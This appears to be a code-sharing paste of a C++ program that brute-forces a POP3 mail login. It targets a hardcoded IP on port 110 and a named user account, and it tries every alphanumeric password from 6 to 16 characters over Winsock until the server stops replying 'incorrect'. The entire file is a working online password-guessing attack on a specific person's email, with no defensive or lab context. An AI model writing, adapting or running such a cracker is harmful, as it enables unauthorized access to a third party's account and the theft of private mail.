fork download
  1. #include <iostream>
  2. #include <ctime>
  3. #include <WinSock2.h>
  4.  
  5. #pragma comment(lib, "Ws2_32.lib")
  6.  
  7. using namespace std;
  8.  
  9.  
  10. static char alphabet[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
  11.  
  12. const int def_buf_size = 0x400;
  13.  
  14. const int pass_min = 6;
  15. const int pass_max = 0x10;
  16.  
  17. static clock_t start = 0;
  18. static clock_t end = 0;
  19.  
  20. static double elapsed = 0.0;
  21. static unsigned long long count = 0;
  22.  
  23. static char ip[] = "94.100.184.76";
  24. static u_short port = 110;
  25.  
  26. static WSAData data;
  27. static SOCKADDR_IN addr;
  28. static SOCKET sock;
  29. static int result;
  30. static char buffer[1024];
  31. static char *tmp;
  32. static char *pass = NULL;
  33. static size_t found;
  34.  
  35.  
  36. int MakeAttempt(int pos, int length, const char *dict, int *indexes, char *pass, unsigned long long *attempts, int maxIndex);
  37. char *BruteForce(int passmin, int passmax, const char *dict, unsigned long long *attempts);
  38. void HandleString(char *string, int size);
  39. void BytesSent(int size);
  40. void WSAInit(void);
  41.  
  42.  
  43. int MakeAttempt(int pos, int length, const char *dict, int *indexes, char *pass, unsigned long long *attempts, int maxIndex)
  44. {
  45. int i = 0;
  46. int j = 0;
  47.  
  48. for( ; i <= maxIndex; ++i)
  49. {
  50. indexes[pos] = i;
  51.  
  52. if(pos == length - 1)
  53. {
  54. for(j = 0; j < length; ++j)
  55. {
  56. pass[j] = dict[indexes[j]];
  57. }
  58.  
  59. ++*attempts;
  60.  
  61. string tmp_brute = "pass ";
  62. tmp_brute.append(pass);
  63. tmp_brute.append("\r\n");
  64.  
  65. WSAInit();
  66.  
  67. result = connect(sock, (SOCKADDR*)&addr, sizeof(addr));
  68.  
  69. if(result == SOCKET_ERROR)
  70. {
  71. cout << "Can't connect to: " << ip << ":" << port << endl << "WSA error ( connect() ): " << WSAGetLastError() << endl;
  72. result = closesocket(sock);
  73.  
  74. if(result == SOCKET_ERROR)
  75. {
  76. cout << endl << "WSA error ( closesocket() ): " << WSAGetLastError() << endl;
  77. WSACleanup();
  78. }
  79. }
  80. else
  81. {
  82. result = recv(sock, buffer, def_buf_size, 0);
  83. tmp = buffer;
  84. HandleString(tmp, result);
  85.  
  86. cout << "Connected successfully to: " << ip << ":" << port << endl;
  87.  
  88. tmp = "user olegorlov90\r\n";
  89. cout << endl << "Sending data(" << strlen(tmp) << "): " << tmp;
  90. BytesSent(send(sock, tmp, strlen(tmp), 0));
  91.  
  92. result = recv(sock, buffer, def_buf_size, 0);
  93. tmp = buffer;
  94. HandleString(tmp, result);
  95.  
  96. const char *buf = tmp_brute.c_str();
  97. int len = strlen(tmp_brute.c_str());
  98.  
  99. cout << "Sending data(" << len << "): " << buf;
  100. BytesSent(send(sock, buf, len, 0));
  101.  
  102. result = recv(sock, buffer, def_buf_size, 0);
  103. tmp = buffer;
  104. HandleString(tmp, result);
  105.  
  106. string err_code = "incorrect";
  107. string data = string(tmp);
  108. found = data.find(err_code);
  109.  
  110. if(found != string::npos)
  111. {
  112. closesocket(sock);
  113. result = WSACleanup();
  114. }
  115. else
  116. {
  117. return 1;
  118. }
  119. }
  120. }
  121. else
  122. {
  123. if(MakeAttempt(pos + 1, length, dict, indexes, pass, attempts, maxIndex))
  124. {
  125. return 1;
  126. }
  127. }
  128. }
  129.  
  130. return 0;
  131. }
  132.  
  133. char *BruteForce(int passmin, int passmax, const char *dict, unsigned long long *attempts)
  134. {
  135. char *pass = (char*)malloc(passmax + 1);
  136. int *indexes = (int*)malloc(passmax * sizeof(int));
  137. int passLength = passmin;
  138. int maxIndex = strlen(dict) - 1;
  139.  
  140. memset(pass, 0, passmax + 1);
  141.  
  142. for(; passLength <= passmax; ++passLength)
  143. {
  144. if(MakeAttempt(0, passLength, dict, indexes, pass, attempts, maxIndex))
  145. {
  146. goto cleanup;
  147. }
  148. }
  149.  
  150. free(pass);
  151. pass = NULL;
  152.  
  153. cleanup:
  154. free(indexes);
  155. return pass;
  156. }
  157.  
  158. void HandleString(char *string, int size)
  159. {
  160. cout << endl << "Bytes received: " << size << endl << "Response from server: ";
  161.  
  162. for(int i = 0; i < size; i++)
  163. {
  164. cout << string[i];
  165. }
  166.  
  167. cout << endl;
  168. }
  169.  
  170. void BytesSent(int size)
  171. {
  172. cout << "Bytes sent: " << size << endl;
  173. }
  174.  
  175. void WSAInit(void)
  176. {
  177. result = WSAStartup(0x202, &data);
  178.  
  179. addr.sin_addr.s_addr = inet_addr(ip);
  180. addr.sin_family = AF_INET;
  181. addr.sin_port = htons(port);
  182.  
  183. if(result != NO_ERROR)
  184. {
  185. cout << endl << "WSA startup failed with the error: " << result << endl;
  186. }
  187. else
  188. {
  189. cout << data.szDescription << " " << data.szSystemStatus << endl;
  190. }
  191.  
  192. sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  193.  
  194. if(sock == INVALID_SOCKET)
  195. {
  196. cout << endl << "Socket init has failed with the error: " << WSAGetLastError() << endl;
  197. result = WSACleanup();
  198. }
  199. else
  200. {
  201. cout << endl << "Socket init has successfully!" << endl;
  202. }
  203. }
  204.  
  205. int main(void)
  206. {
  207. WSAInit();
  208.  
  209. start = clock();
  210.  
  211. cout << "Attempting to brute force..." << endl;
  212.  
  213. if(pass = BruteForce(pass_min, pass_max, alphabet, &count))
  214. {
  215. cout << "The correct password is: " << pass << endl;
  216. free(pass);
  217. }
  218.  
  219. end = clock();
  220.  
  221. elapsed = ((double)(end - start)) / CLOCKS_PER_SEC;
  222. cout << "Time elapsed: " << elapsed << " seconds" << endl;
  223.  
  224. if(elapsed >= 1)
  225. {
  226. cout << "Trys per second was: " << (count / elapsed) << endl;
  227. }
  228.  
  229. return 0;
  230. }
Not running #stdin #stdout 0s 0KB
stdin
Standard input is empty
stdout
Standard output is empty